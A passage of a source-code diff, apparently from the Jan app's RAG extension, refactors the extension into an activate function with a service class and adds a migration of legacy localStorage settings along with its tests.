ext = makeExt()+ vectorDB = undefined+ ext = await makeExt()})it('delegates parseDocument with a default mime type', async () => {- ;(ragApi.parseDocument as any).mockResolvedValue('text')+ ;vi.mocked(ragApi.parseDocument).mockResolvedValue('text')const out = await ext.parseDocument('/a.pdf')expect(out).toBe('text')expect(ragApi.parseDocument).toHaveBeenCalledWith(@@ -425,18 +451,18 @@ describe('parseDocument and embed', () => {})it('passes an explicit mime type through', async () => {- ;(ragApi.parseDocument as any).mockResolvedValue('t')+ ;vi.mocked(ragApi.parseDocument).mockResolvedValue('t')await ext.parseDocument('/a.txt', 'text/plain')expect(ragApi.parseDocument).toHaveBeenCalledWith('/a.txt', 'text/plain')})it('embed returns [] for empty input without touching the engine', async () => {expect(await ext.embed([])).toEqual([])- expect(extMgr().getByName).not.toHaveBeenCalled()+ expect(engine()).not.toHaveBeenCalled()})it('embed places vectors at their reported index', async () => {- extMgr().getByName.mockReturnValue({+ engine().mockReturnValue({embed: vi.fn().mockResolvedValue({data: [{ embedding: [2], index: 1 },@@ -448,49 +474,48 @@ describe('parseDocument and embed', () => {})it('embed throws when llamacpp is unavailable', async () => {- extMgr().getByName.mockReturnValue(undefined)+ engine().mockReturnValue(undefined)await expect(ext.embed(['a'])).rejects.toThrow('llamacpp extension not available')})})-describe('onSettingUpdate', () => {- let ext: RagExtension-- beforeEach(() => {- vi.clearAllMocks()- ext = makeExt()+describe('settings', () => {+ it('starts from the stored settings', async () => {+ vectorDB = undefined+ await makeExt()+ expect(config).toMatchObject({ retrievalLimit: 3, chunkSizeChars: 512, overlapChars: 64 })+ const { services } = await activated({ retrieval_limit: 9, search_mode: 'ann', enabled: false })+ const rag = services.get(ServiceKeys.RAG) as unknown as { config: RagConfig }+ expect(rag.config).toMatchObject({ retrievalLimit: 9, searchMode: 'ann', enabled: false })})- it('coerces and stores updated settings', () => {- ext.onSettingUpdate('enabled', false)- ext.onSettingUpdate('max_file_size_mb', '50')- ext.onSettingUpdate('retrieval_limit', '9')- ext.onSettingUpdate('search_mode', 'ann')- ext.onSettingUpdate('parse_mode', 'embeddings')- const cfg = (ext as any).config- expect(cfg.enabled).toBe(false)- expect(cfg.maxFileSizeMB).toBe(50)- expect(cfg.retrievalLimit).toBe(9)- expect(cfg.searchMode).toBe('ann')- expect(cfg.parseMode).toBe('embeddings')+ it('follows setting changes', async () => {+ const { services, settings } = await activated()+ await settings.api.set('max_file_size_mb', 50)+ await settings.api.set('parse_mode', 'embeddings')+ const rag = services.get(ServiceKeys.RAG) as unknown as { config: RagConfig }+ expect(rag.config).toMatchObject({ maxFileSizeMB: 50, parseMode: 'embeddings' })})- it('ignores unknown keys', () => {- const before = { ...(ext as any).config }- ext.onSettingUpdate('bogus', 123)- expect((ext as any).config).toEqual(before)- })-})--describe('configure', () => {- it('registers settings and keeps defaults when getSetting echoes the default', async () => {- vi.clearAllMocks()- const ext = makeExt()- await ext.configure()- expect((ext as any).registerSettings).toHaveBeenCalledOnce()- const cfg = (ext as any).config- expect(cfg.retrievalLimit).toBe(3)- expect(cfg.chunkSizeChars).toBe(512)- expect(cfg.overlapChars).toBe(64)+ it('migrates the legacy localStorage settings before reading them', async () => {+ localStorage.setItem(+ '@janhq/rag-extension',+ JSON.stringify([{ key: 'retrieval_limit', controllerProps: { value: 6 } }])+ )+ const { services } = await activated()+ const rag = services.get(ServiceKeys.RAG) as unknown as { config: RagConfig }+ expect(rag.config.retrievalLimit).toBe(6)+ expect(localStorage.getItem('@janhq/rag-extension')).toBeNull()+ })++ it('applySetting coerces values and ignores unknown keys', () => {+ const cfg = { ...config }+ applySetting(cfg, 'enabled', false)+ applySetting(cfg, 'max_file_size_mb', '50')+ applySetting(cfg, 'search_mode', 'ann')+ expect(cfg).toMatchObject({ enabled: false, maxFileSizeMB: 50, searchMode: 'ann' })+ const before = { ...cfg }+ applySetting(cfg, 'bogus', 123)+ expect(cfg).toEqual(before)})})diff --git a/extensions/rag-extension/src/index.ts b/extensions/rag-extension/src/index.tsindex 893b6c4b9..ae5051e51 100644--- a/extensions/rag-extension/src/index.ts+++ b/extensions/rag-extension/src/index.ts@@ -1,116 +1,183 @@import {- RAGExtension,- MCPTool,- MCPToolCallResult,- ExtensionTypeEnum,- VectorDBExtension,- type AttachmentInput,- type SettingComponentProps,+ ServiceKeys,embedTexts,type AttachmentFileInfo,- logger,+ type AttachmentInput,+ type IngestAttachmentsResult,+ type InternalExtensionContext,+ type MCPToolCallResult,+ type RAGIngestService,+ type SearchMode,+ type VectorDBFileInput,+ type VectorDBIngestOptions,+ type VectorDBService,} from '@janhq/core'-import './env.d'-import { getRAGTools, RETRIEVE, LIST_ATTACHMENTS, GET_CHUNKS } from './tools'import * as ragApi from '@janhq/tauri-plugin-rag-api'+import { getRAGTools, RETRIEVE, LIST_ATTACHMENTS, GET_CHUNKS } from './tools'+import { migrateLegacySettings, type SettingValue } from './settings'++type ParseMode = 'auto' | 'inline' | 'embeddings' | 'prompt'++export interface RagConfig {+ enabled: boolean+ retrievalLimit: number+ retrievalThreshold: number+ chunkSizeChars: number+ overlapChars: number+ searchMode: SearchMode+ maxFileSizeMB: number+ parseMode: ParseMode+ autoInlineContextRatio: number+}++const DEFAULT_CONFIG: RagConfig = {+ enabled: true,+ retrievalLimit: 3,+ retrievalThreshold: 0.3,+ chunkSizeChars: 512,+ overlapChars: 64,+ searchMode: 'auto',+ maxFileSizeMB: 100,+ parseMode: 'auto',+ autoInlineContextRatio: 0.75,+}-export default class RagExtension extends RAGExtension {- private config = {- enabled: true,- retrievalLimit: 3,- retrievalThreshold: 0.3,- chunkSizeChars: 512,- overlapChars: 64,- searchMode: 'auto' as 'auto' | 'ann' | 'linear',- maxFileSizeMB: 100,- parseMode: 'auto' as 'auto' | 'inline' | 'embeddings' | 'prompt',- autoInlineContextRatio: 0.75,+/** Applies one stored setting to the config; unknown keys are ignored. */+export function applySetting(config: RagConfig, key: string, value: SettingValue): void {+ switch (key) {+ case 'enabled':+ config.enabled = Boolean(value)+ break+ case 'max_file_size_mb':+ config.maxFileSizeMB = Number(value)+ break+ case 'auto_inline_context_ratio':+ config.autoInlineContextRatio = Number(value)+ break+ case 'retrieval_limit':+ config.retrievalLimit = Number(value)+ break+ case 'retrieval_threshold':+ config.retrievalThreshold = Number(value)+ break+ case 'chunk_size_chars':+ config.chunkSizeChars = Number(value)+ break+ case 'overlap_chars':+ config.overlapChars = Number(value)+ break+ case 'search_mode':+ config.searchMode = String(value) as SearchMode+ break+ case 'parse_mode':+ config.parseMode = String(value) as ParseMode+ break}+}- async onLoad(): Promise<void> {- try {- await this.configure()- } catch (e) {- logger.error('[RAG] configure() failed during onLoad:', e)+const SETTING_KEYS = [+ 'enabled',+ 'max_file_size_mb',+ 'auto_inline_context_ratio',+ 'retrieval_limit',+ 'retrieval_threshold',+ 'chunk_size_chars',+ 'overlap_chars',+ 'search_mode',+ 'parse_mode',+]++const failure = (error: string, text: string = error): MCPToolCallResult => ({+ error,+ content: [{ type: 'text', text }],+})++const success = (payload: unknown): MCPToolCallResult => ({+ error: '',+ content: [{ type: 'text', text: JSON.stringify(payload) }],+})++// Rust plugin errors arrive as { VariantName: "message" }; the message is+// what the model can act on, not the wrapper.+function errorText(e: unknown): string {+ if (e instanceof Error) return e.message+ if (typeof e === 'string') return e+ if (e && typeof e === 'object') {+ const values = Object.values(e as Record<string, unknown>)+ return values.length === 1 && typeof values[0] === 'string'+ ? values[0]+ : JSON.stringify(e)+ }+ return 'Unknown error'+}++export async function activate(ctx: InternalExtensionContext): Promise<void> {+ const config: RagConfig = { ...DEFAULT_CONFIG }+ // Before the first read, so the values the user set before the host+ // existed are what the config starts from.+ try {+ await migrateLegacySettings(ctx.settings)+ } catch (e) {+ ctx.log.error('[RAG] migrating legacy settings failed:', e)+ }+ try {+ for (const key of SETTING_KEYS) {+ const value = await ctx.settings.get(key)+ if (value !== undefined) applySetting(config, key, value)}- // Check ANN availability on load (already self-contained try/catch)- this.checkANNAvailability()+ } catch (e) {+ ctx.log.error('[RAG] reading settings failed:', e)+ }+ ctx.subscriptions.add(+ ctx.settings.onDidChange(({ key, value }) => applySetting(config, key, value))+ )++ const rag = new Rag(ctx, config)+ ctx.subscriptions.add(ctx.internal.services.provide(ServiceKeys.RAG, rag))+ for (const tool of getRAGTools(config.retrievalLimit)) {+ ctx.subscriptions.add(+ ctx.internal.tools.register({+ name: tool.name,+ // Rebuilt per read: the retrieve schema caps top_k at the current limit.+ definition: () =>+ getRAGTools(config.retrievalLimit).find((t) => t.name === tool.name) ?? tool,+ call: (args) => rag.callTool(tool.name, args),+ })+ )}+ void rag.checkANNAvailability()+}- onUnload(): void {}+export class Rag implements RAGIngestService {+ constructor(+ private readonly ctx: InternalExtensionContext,+ private readonly config: RagConfig+ ) {}- async configure() {- const settings = structuredClone(SETTINGS) as SettingComponentProps[]- await this.registerSettings(settings)- this.config.enabled = await this.getSetting('enabled', this.config.enabled)- this.config.maxFileSizeMB = await this.getSetting(- 'max_file_size_mb',- this.config.maxFileSizeMB- )- this.config.retrievalLimit = await this.getSetting(- 'retrieval_limit',- this.config.retrievalLimit- )- this.config.retrievalThreshold = await this.getSetting(- 'retrieval_threshold',- this.config.retrievalThreshold- )- // Prefer char-based keys; fall back to legacy token keys for backward compatibility- this.config.chunkSizeChars =- (await this.getSetting('chunk_size_chars', this.config.chunkSizeChars)) ||- (await this.getSetting('chunk_size_tokens', this.config.chunkSizeChars))- this.config.overlapChars =- (await this.getSetting('overlap_chars', this.config.overlapChars)) ||- (await this.getSetting('overlap_tokens', this.config.overlapChars))- this.config.searchMode = await this.getSetting(- 'search_mode',- this.config.searchMode- )- this.config.parseMode = await this.getSetting(- 'parse_mode',- this.config.parseMode- )- this.config.autoInlineContextRatio = await this.getSetting(- 'auto_inline_context_ratio',- this.config.autoInlineContextRatio- )+ private vectorDB(): VectorDBService | undefined {+ return this.ctx.internal.services.get(ServiceKeys.VectorDB)}- async checkANNAvailability() {+ async checkANNAvailability(): Promise<void> {try {- const vec = window.core?.extensionManager.get(- ExtensionTypeEnum.VectorDB- ) as unknown as VectorDBExtension- if (vec?.getStatus) {- const status = await vec.getStatus()- logger.info(- '[RAG] Vector DB ANN support:',- status.ann_available ? '✓ AVAILABLE' : '✗ NOT AVAILABLE'+ const vec = this.vectorDB()+ if (!vec) return+ const status = await vec.getStatus()+ this.ctx.log.info(+ '[RAG] Vector DB ANN support:',+ status.ann_available ? 'AVAILABLE' : 'NOT AVAILABLE'+ )+ if (!status.ann_available) {+ this.ctx.log.warn(+ '[RAG] Warning: sqlite-vec not loaded. Collections will use slower linear search.')- if (!status.ann_available) {- logger.warn(- '[RAG] Warning: sqlite-vec not loaded. Collections will use slower linear search.'- )- }}} catch (e) {- logger.error('[RAG] Failed to check ANN status:', e)+ this.ctx.log.error('[RAG] Failed to check ANN status:', e)}}- async getTools(): Promise<MCPTool[]> {- return getRAGTools(this.config.retrievalLimit)- }-- async getToolNames(): Promise<string[]> {- // Keep this in sync with getTools() but without building full schemas- return [LIST_ATTACHMENTS, RETRIEVE, GET_CHUNKS]- }-- async callTool(- toolName: string,- args: Record<string, unknown>- ): Promise<MCPToolCallResult> {+ async callTool(toolName: string, args: Record<string, unknown>): Promise<MCPToolCallResult> {switch (toolName) {case LIST_ATTACHMENTS:return this.listAttachments(args)@@ -119,73 +186,30 @@ export default class RagExtension extends RAGExtension {case GET_CHUNKS:return this.getChunks(args)default:- return {- error: `Unknown tool: ${toolName}`,- content: [{ type: 'text', text: `Unknown tool: ${toolName}` }],- }+ return failure(`Unknown tool: ${toolName}`)}}- private async listAttachments(- args: Record<string, unknown>- ): Promise<MCPToolCallResult> {+ private async listAttachments(args: Record<string, unknown>): Promise<MCPToolCallResult> {const threadId = String(args['thread_id'] || '')const scope = String(args['scope'] || 'thread')- if (!threadId && scope === 'thread') {- return {- error: 'Missing thread_id',- content: [{ type: 'text', text: 'Missing thread_id' }],- }- }+ if (!threadId && scope === 'thread') return failure('Missing thread_id')try {- const vec = window.core?.extensionManager.get(- ExtensionTypeEnum.VectorDB- ) as unknown as VectorDBExtension- if (!vec?.listAttachments && !vec?.listAttachmentsForProject) {- return {- error: 'Vector DB extension missing listAttachments',- content: [- {- type: 'text',- text: 'Vector DB extension missing listAttachments',- },- ],- }- }-- let files: AttachmentFileInfo[] = []- if (scope === 'project' && vec.listAttachmentsForProject) {- files = await vec.listAttachmentsForProject(threadId)- } else if (vec.listAttachments) {- files = await vec.listAttachments(threadId)- }-- return {- error: '',- content: [- {- type: 'text',- text: JSON.stringify({- thread_id: threadId,- scope,- attachments: files || [],- }),- },- ],- }+ const vec = this.vectorDB()+ if (!vec) return failure('Vector DB extension missing listAttachments')+ const files: AttachmentFileInfo[] =+ scope === 'project'+ ? await vec.listAttachmentsForProject(threadId)+ : await vec.listAttachments(threadId)+ return success({ thread_id: threadId, scope, attachments: files || [] })} catch (e) {const msg = e instanceof Error ? e.message : JSON.stringify(e)- return {- error: msg,- content: [{ type: 'text', text: `List attachments failed: ${JSON.stringify(msg)}` }],- }+ return failure(msg, `List attachments failed: ${JSON.stringify(msg)}`)}}- private async retrieve(- args: Record<string, unknown>- ): Promise<MCPToolCallResult> {+ private async retrieve(args: Record<string, unknown>): Promise<MCPToolCallResult> {const threadId = String(args['thread_id'] || '')const projectId = String(args['project_id'] || '')const query = String(args['query'] || '')@@ -198,76 +222,48 @@ export default class RagExtension extends RAGExtension {const s = this.configconst topK = (args['top_k'] as number) || s.retrievalLimit || 3const threshold = s.retrievalThreshold ?? 0.3- const mode: 'auto' | 'ann' | 'linear' = s.searchMode || 'auto'+ const mode: SearchMode = s.searchMode || 'auto'if (s.enabled === false) {- return {- error: 'Attachments feature disabled',- content: [- {- type: 'text',- text: 'Attachments are disabled in Settings. Enable them to use retrieval.',- },- ],- }+ return failure(+ 'Attachments feature disabled',+ 'Attachments are disabled in Settings. Enable them to use retrieval.'+ )}- if (!query || (!threadId && scope === 'thread') || (scope === 'project' && !effectiveThreadId)) {- return {- error: 'Missing thread_id, project_id, or query',- content: [{ type: 'text', text: 'Missing required parameters' }],- }+ if (+ !query ||+ (!threadId && scope === 'thread') ||+ (scope === 'project' && !effectiveThreadId)+ ) {+ return failure('Missing thread_id, project_id, or query', 'Missing required parameters')}try {- // Resolve extensions- const vec = window.core?.extensionManager.get(- ExtensionTypeEnum.VectorDB- ) as unknown as VectorDBExtension- if (!vec?.searchCollection && !vec?.searchCollectionForProject) {- return {- error: 'RAG dependencies not available',- content: [- { type: 'text', text: 'Vector DB extension not available' },- ],- }- }+ const vec = this.vectorDB()+ if (!vec) return failure('RAG dependencies not available', 'Vector DB extension not available')const queryEmb = (await embedTexts([query]))?.[0]- if (!queryEmb) {- return {- error: 'Failed to compute embeddings',- content: [{ type: 'text', text: 'Failed to compute embeddings' }],- }- }-- let results- if (scope === 'project' && vec.searchCollectionForProject) {- results = await vec.searchCollectionForProject(- effectiveThreadId,- queryEmb,- topK,- threshold,- mode,- fileIds- )- } else {- results = await vec.searchCollection!(- effectiveThreadId,- queryEmb,- topK,- threshold,- mode,- fileIds- )- }-- const payload = {+ if (!queryEmb) return failure('Failed to compute embeddings')++ const results =+ scope === 'project'+ ? await vec.searchCollectionForProject(+ effectiveThreadId,+ queryEmb,+ topK,+ threshold,+ mode,+ fileIds+ )+ : await vec.searchCollection(effectiveThreadId, queryEmb, topK, threshold, mode, fileIds)++ return success({thread_id: threadId,project_id: projectId,scope,query,citations:- results?.map((r: any) => ({+ results?.map((r) => ({id: r.id,text: r.text,score: r.score,@@ -275,36 +271,15 @@ export default class RagExtension extends RAGExtension {chunk_file_order: r.chunk_file_order,})) ?? [],mode,- }- return {- error: '',- content: [{ type: 'text', text: JSON.stringify(payload) }],- }+ })} catch (e) {- logger.error('[RAG] Retrieve error:', e)- let msg = 'Unknown error'- if (e instanceof Error) {- msg = e.message- } else if (typeof e === 'string') {- msg = e- } else if (e && typeof e === 'object') {- // Rust plugin errors arrive as { VariantName: "message" }.- const values = Object.values(e as Record<string, unknown>)- msg =- values.length === 1 && typeof values[0] === 'string'- ? values[0]- : JSON.stringify(e)- }- return {- error: msg,- content: [{ type: 'text', text: `Retrieve failed: ${msg}` }],- }+ this.ctx.log.error('[RAG] Retrieve error:', e)+ const msg = errorText(e)+ return failure(msg, `Retrieve failed: ${msg}`)}}- private async getChunks(- args: Record<string, unknown>- ): Promise<MCPToolCallResult> {+ private async getChunks(args: Record<string, unknown>): Promise<MCPToolCallResult> {const threadId = String(args['thread_id'] || '')const fileId = String(args['file_id'] || '')const startOrder = args['start_order'] as number | undefined@@ -317,170 +292,82 @@ export default class RagExtension extends RAGExtension {endOrder === undefined ||(!threadId && scope === 'thread')) {- return {- error: 'Missing thread_id, file_id, start_order, or end_order',- content: [{ type: 'text', text: 'Missing required parameters' }],- }+ return failure(+ 'Missing thread_id, file_id, start_order, or end_order',+ 'Missing required parameters'+ )}try {- const vec = window.core?.extensionManager.get(- ExtensionTypeEnum.VectorDB- ) as unknown as VectorDBExtension- if (!vec?.getChunks && !vec?.getChunksForProject) {- return {- error: 'Vector DB extension not available',- content: [- { type: 'text', text: 'Vector DB extension not available' },- ],- }- }-- let chunks- if (scope === 'project' && vec.getChunksForProject) {- chunks = await vec.getChunksForProject(threadId, fileId, startOrder, endOrder)- } else {- chunks = await vec.getChunks!(threadId, fileId, startOrder, endOrder)- }-- const payload = {- thread_id: threadId,- scope,- file_id: fileId,- chunks: chunks || [],- }- return {- error: '',- content: [{ type: 'text', text: JSON.stringify(payload) }],- }+ const vec = this.vectorDB()+ if (!vec) return failure('Vector DB extension not available')+ const chunks =+ scope === 'project'+ ? await vec.getChunksForProject(threadId, fileId, startOrder, endOrder)+ : await vec.getChunks(threadId, fileId, startOrder, endOrder)+ return success({ thread_id: threadId, scope, file_id: fileId, chunks: chunks || [] })} catch (e) {const msg = e instanceof Error ? e.message : JSON.stringify(e)- return {- error: msg,- content: [{ type: 'text', text: `Get chunks failed: ${msg}` }],- }+ return failure(msg, `Get chunks failed: ${msg}`)}}- // Desktop-only ingestion by file paths for a projectasync ingestAttachmentsForProject(projectId: string,files: AttachmentInput[]- ): Promise<{- filesProcessed: number- chunksInserted: number- files: AttachmentFileInfo[]- }> {+ ): Promise<IngestAttachmentsResult> {if (!projectId || !Array.isArray(files) || files.length === 0) {return { filesProcessed: 0, chunksInserted: 0, files: [] }}-- // Respect feature flag: do nothing when disabledif (this.config.enabled === false) {return { filesProcessed: 0, chunksInserted: 0, files: [] }}-- const vec = window.core?.extensionManager.get(- ExtensionTypeEnum.VectorDB- ) as unknown as VectorDBExtension- if (!vec?.ingestFileForProject) {- throw new Error('Vector DB extension does not support project-level ingestion')- }-- // Load settings- const s = this.config- const maxSize = (s?.enabled === false ? 0 : s?.maxFileSizeMB) || undefined- const chunkSize = s?.chunkSizeChars as number | undefined- const chunkOverlap = s?.overlapChars as number | undefined-- let totalChunks = 0- const processedFiles: AttachmentFileInfo[] = []-- for (const f of files) {- if (!f?.path) continue- if (maxSize && f.size && f.size > maxSize * 1024 * 1024) {- throw new Error(- `File '${f.name}' exceeds size limit (${f.size} bytes > ${maxSize} MB).`- )- }-- const fileName = f.name || f.path.split(/[\\/]/).pop()- const info = await (vec as VectorDBExtension).ingestFileForProject(- projectId,- { path: f.path, name: fileName, type: f.type, size: f.size },- { chunkSize: chunkSize ?? 512, chunkOverlap: chunkOverlap ?? 64 }- )- totalChunks += Number(info?.chunk_count || 0)- processedFiles.push(info)- }-- return {- filesProcessed: processedFiles.length,- chunksInserted: totalChunks,- files: processedFiles,- }+ const vec = this.vectorDB()+ if (!vec) throw new Error('Vector DB extension not available')+ return this.ingest(files, (file, opts) => vec.ingestFileForProject(projectId, file, opts))}async ingestAttachments(threadId: string,files: AttachmentInput[]- ): Promise<{- filesProcessed: number- chunksInserted: number- files: AttachmentFileInfo[]- }> {+ ): Promise<IngestAttachmentsResult> {if (!threadId || !Array.isArray(files) || files.length === 0) {return { filesProcessed: 0, chunksInserted: 0, files: [] }}-- // Respect feature flag: do nothing when disabledif (this.config.enabled === false) {return { filesProcessed: 0, chunksInserted: 0, files: [] }}+ const vec = this.vectorDB()+ if (!vec) throw new Error('Vector DB extension not available')+ return this.ingest(files, (file, opts) => vec.ingestFile(threadId, file, opts))+ }- const vec = window.core?.extensionManager.get(- ExtensionTypeEnum.VectorDB- ) as unknown as VectorDBExtension- if (!vec?.createCollection || !vec?.insertChunks) {- throw new Error('Vector DB extension not available')- }-- // Load settings+ private async ingest(+ files: AttachmentInput[],+ ingestFile: (+ file: VectorDBFileInput,+ opts: VectorDBIngestOptions+ ) => Promise<AttachmentFileInfo>+ ): Promise<IngestAttachmentsResult> {const s = this.config- const maxSize = (s?.enabled === false ? 0 : s?.maxFileSizeMB) || undefined- const chunkSize = s?.chunkSizeChars as number | undefined- const chunkOverlap = s?.overlapChars as number | undefined-+ const maxSize = s.maxFileSizeMB || undefinedlet totalChunks = 0const processedFiles: AttachmentFileInfo[] = []for (const f of files) {if (!f?.path) continueif (maxSize && f.size && f.size > maxSize * 1024 * 1024) {- throw new Error(- `File '${f.name}' exceeds size limit (${f.size} bytes > ${maxSize} MB).`- )+ throw new Error(`File '${f.name}' exceeds size limit (${f.size} bytes > ${maxSize} MB).`)}-const fileName = f.name || f.path.split(/[\\/]/).pop()- // Preferred/required path: let Vector DB extension handle full file ingestion- const canIngestFile = typeof (vec as any)?.ingestFile === 'function'- if (!canIngestFile) {- logger.error(- '[RAG] Vector DB extension missing ingestFile; cannot ingest document'- )- continue- }- const info = await (vec as VectorDBExtension).ingestFile(- threadId,+ const info = await ingestFile({ path: f.path, name: fileName, type: f.type, size: f.size },- { chunkSize: chunkSize ?? 512, chunkOverlap: chunkOverlap ?? 64 }+ { chunkSize: s.chunkSizeChars ?? 512, chunkOverlap: s.overlapChars ?? 64 })totalChunks += Number(info?.chunk_count || 0)processedFiles.push(info)}- // Return files we ingested with real IDs directly from ingestFilereturn {filesProcessed: processedFiles.length,chunksInserted: totalChunks,@@ -488,42 +375,6 @@ export default class RagExtension extends RAGExtension {}}- onSettingUpdate<T>(key: string, value: T): void {- switch (key) {- case 'enabled':- this.config.enabled = Boolean(value)- break- case 'max_file_size_mb':- this.config.maxFileSizeMB = Number(value)- break- case 'auto_inline_context_ratio':- this.config.autoInlineContextRatio = Number(value)- break- case 'retrieval_limit':- this.config.retrievalLimit = Number(value)- break- case 'retrieval_threshold':- this.config.retrievalThreshold = Number(value)- break- case 'chunk_size_chars':- this.config.chunkSizeChars = Number(value)- break- case 'overlap_chars':- this.config.overlapChars = Number(value)- break- case 'search_mode':- this.config.searchMode = String(value) as 'auto' | 'ann' | 'linear'- break- case 'parse_mode':- this.config.parseMode = String(value) as- | 'auto'- | 'inline'- | 'embeddings'- | 'prompt'- break- }- }-async parseDocument(path: string, type?: string): Promise<string> {return await ragApi.parseDocument(path, type || 'application/octet-stream')}@@ -532,5 +383,4 @@ export default class RagExtension extends RAGExtension {if (!texts || texts.length === 0) return []return embedTexts(texts)}-}diff --git a/extensions/rag-extension/src/settings.test.ts b/extensions/rag-extension/src/settings.test.tsnew file mode 100644index 000000000..a694aae0a--- /dev/null+++ b/extensions/rag-extension/src/settings.test.ts@@ -0,0 +1,98 @@+import { beforeEach, describe, expect, it } from 'vitest'+import { LEGACY_SETTINGS_KEY, migrateLegacySettings } from './settings'+import { fakeSettings } from './test/fake-context'++const legacy = (entries: { key: string; value: unknown }[]) =>+ localStorage.setItem(+ LEGACY_SETTINGS_KEY,+ JSON.stringify(+ entries.map(({ key, value }) => ({+ key,+ title: key,+ controllerType: 'input',+ controllerProps: { value },+ }))+ )+ )++describe('migrateLegacySettings', () => {+ beforeEach(() => localStorage.clear())++ it('copies the legacy array values into the settings store and removes the key', async () => {+ legacy([+ { key: 'enabled', value: false },+ { key: 'parse_mode', value: 'embeddings' },+ { key: 'retrieval_limit', value: 7 },+ { key: 'retrieval_threshold', value: 0.5 },+ { key: 'search_mode', value: 'linear' },+ { key: 'auto_inline_context_ratio', value: 0.4 },+ ])+ const { api, values } = fakeSettings()+ await migrateLegacySettings(api)+ expect(Object.fromEntries(values)).toEqual({+ enabled: false,+ parse_mode: 'embeddings',+ retrieval_limit: 7,+ retrieval_threshold: 0.5,+ search_mode: 'linear',+ auto_inline_context_ratio: 0.4,+ })+ expect(localStorage.getItem(LEGACY_SETTINGS_KEY)).toBeNull()+ })++ it('is a no-op on a second run', async () => {+ legacy([{ key: 'retrieval_limit', value: 7 }])+ const { api, values } = fakeSettings()+ await migrateLegacySettings(api)+ await api.set('retrieval_limit', 9)+ await migrateLegacySettings(api)+ expect(values.get('retrieval_limit')).toBe(9)+ expect(localStorage.getItem(LEGACY_SETTINGS_KEY)).toBeNull()+ })++ it('does nothing without the legacy key', async () => {+ const { api, values } = fakeSettings()+ await migrateLegacySettings(api)+ expect(values.size).toBe(0)+ })++ it('turns numeric strings into numbers', async () => {+ legacy([{ key: 'max_file_size_mb', value: '50' }])+ const { api, values } = fakeSettings()+ await migrateLegacySettings(api)+ expect(values.get('max_file_size_mb')).toBe(50)+ })++ it('reads the token-named chunk keys of older profiles, the char keys winning', async () => {+ legacy([+ { key: 'chunk_size_tokens', value: 256 },+ { key: 'overlap_chars', value: 32 },+ { key: 'overlap_tokens', value: 16 },+ ])+ const { api, values } = fakeSettings()+ await migrateLegacySettings(api)+ expect(values.get('chunk_size_chars')).toBe(256)+ expect(values.get('overlap_chars')).toBe(32)+ })++ it('leaves the default for values the control rejects and ignores unknown keys', async () => {+ legacy([+ { key: 'retrieval_limit', value: 500 },+ { key: 'search_mode', value: 'bogus' },+ { key: 'enabled', value: 'yes' },+ { key: 'unknown', value: 1 },+ ])+ const { api, values } = fakeSettings()+ await migrateLegacySettings(api)+ expect(values.size).toBe(0)+ expect(localStorage.getItem(LEGACY_SETTINGS_KEY)).toBeNull()+ })++ it('drops an unreadable legacy value', async () => {+ localStorage.setItem(LEGACY_SETTINGS_KEY, '{not json')+ const { api, values } = fakeSettings()+ await migrateLegacySettings(api)+ expect(values.size).toBe(0)+ expect(localStorage.getItem(LEGACY_SETTINGS_KEY)).toBeNull()+ })+})diff --git a/extensions/rag-extension/src/settings.ts b/extensions/rag-extension/src/settings.tsnew file mode 100644index 000000000..b58ac435f--- /dev/null+++ b/extensions/rag-extension/src/settings.ts@@ -0,0 +1,75 @@+import type { InternalExtensionContext } from '@janhq/core'++export type SettingsApi = InternalExtensionContext['settings']+export type SettingValue = Parameters<SettingsApi['set']>[1]++/**+ * Where the pre-host extension kept its settings: a localStorage array of+ * `{ key, controllerProps: { value } }` under the package name.+ */+export const LEGACY_SETTINGS_KEY = '@janhq/rag-extension'++// Older profiles stored the chunk sizes under token-named keys.+const LEGACY_ALIASES: Record<string, string> = {+ chunk_size_tokens: 'chunk_size_chars',+ overlap_tokens: 'overlap_chars',+}++interface LegacySetting {+ key?: unknown+ controllerProps?: { value?: unknown }+}++// The legacy input controls could hand back numbers as strings; the stored+// value takes the type of the declared default instead.+function coerce(value: unknown, like: SettingValue): SettingValue | undefined {+ if (typeof like === 'number') {+ const n = typeof value === 'number' ? value : Number(value)+ return typeof value !== 'boolean' && value !== '' && Number.isFinite(n) ? n : undefined+ }+ if (typeof like === 'boolean') return typeof value === 'boolean' ? value : undefined+ return typeof value === 'string' ? value : undefined+}++/**+ * Copies the legacy settings into the host settings store once, then removes+ * the legacy key, so a second run finds nothing to do. A value the declared+ * control does not accept (out of range, unknown option) is dropped and that+ * setting stays on its default; an undeclared key is ignored.+ */+export async function migrateLegacySettings(+ settings: SettingsApi,+ storage: Pick<Storage, 'getItem' | 'removeItem'> = localStorage+): Promise<void> {+ const raw = storage.getItem(LEGACY_SETTINGS_KEY)+ if (raw === null) return+ let legacy: unknown+ try {+ legacy = JSON.parse(raw)+ } catch {+ legacy = undefined+ }+ const values = new Map<string, unknown>()+ for (const entry of Array.isArray(legacy) ? (legacy as LegacySetting[]) : []) {+ if (typeof entry?.key !== 'string') continue+ const value = entry.controllerProps?.value+ if (value === undefined || value === null) continue+ const alias = LEGACY_ALIASES[entry.key]+ // The current key wins over its legacy alias, in whichever order they come.+ if (alias) {+ if (!values.has(alias)) values.set(alias, value)+ } else values.set(entry.key, value)+ }+ for (const [key, value] of values) {+ const current = await settings.get(key)+ if (current === undefined) continue+ const next = coerce(value, current)+ if (next === undefined) continue+ try {+ await settings.set(key, next)+ } catch {+ // Rejected by the declared control; the default stays.+ }+ }+ storage.removeItem(LEGACY_SETTINGS_KEY)+}diff --git a/extensions/rag-extension/src/test/fake-context.ts b/extensions/rag-extension/src/test/fake-context.tsnew file mode 100644index 000000000..360ec5d7c--- /dev/null+++ b/extensions/rag-extension/src/test/fake-context.ts@@ -0,0 +1,85 @@+import { vi } from 'vitest'+import {+ createInternalToolRegistry,+ createServiceRegistry,+ type InternalExtensionContext,+ type VectorDBService,+ ServiceKeys,+} from '@janhq/core'+import pkg from '../../package.json'+import type { SettingValue, SettingsApi } from '../settings'++type SettingContribution = {+ key: string+ control:+ | { type: 'checkbox'; default: boolean }+ | { type: 'dropdown'; options: { value: string }[]; default: string }+ | { type: 'slider'; min: number; max: number; default: number }+}++type Listener = (e: { key: string; value: SettingValue }) => void++const declared = pkg.jan.contributes.settings as SettingContribution[]++function fits(setting: SettingContribution, value: SettingValue): boolean {+ const c = setting.control+ switch (c.type) {+ case 'checkbox':+ return typeof value === 'boolean'+ case 'dropdown':+ return typeof value === 'string' && c.options.some((o) => o.value === value)+ case 'slider':+ return typeof value === 'number' && value >= c.min && value <= c.max+ }+}++/**+ * The settings store as the host runs it for this manifest: declared keys+ * only, values checked against their control, defaults from the manifest.+ 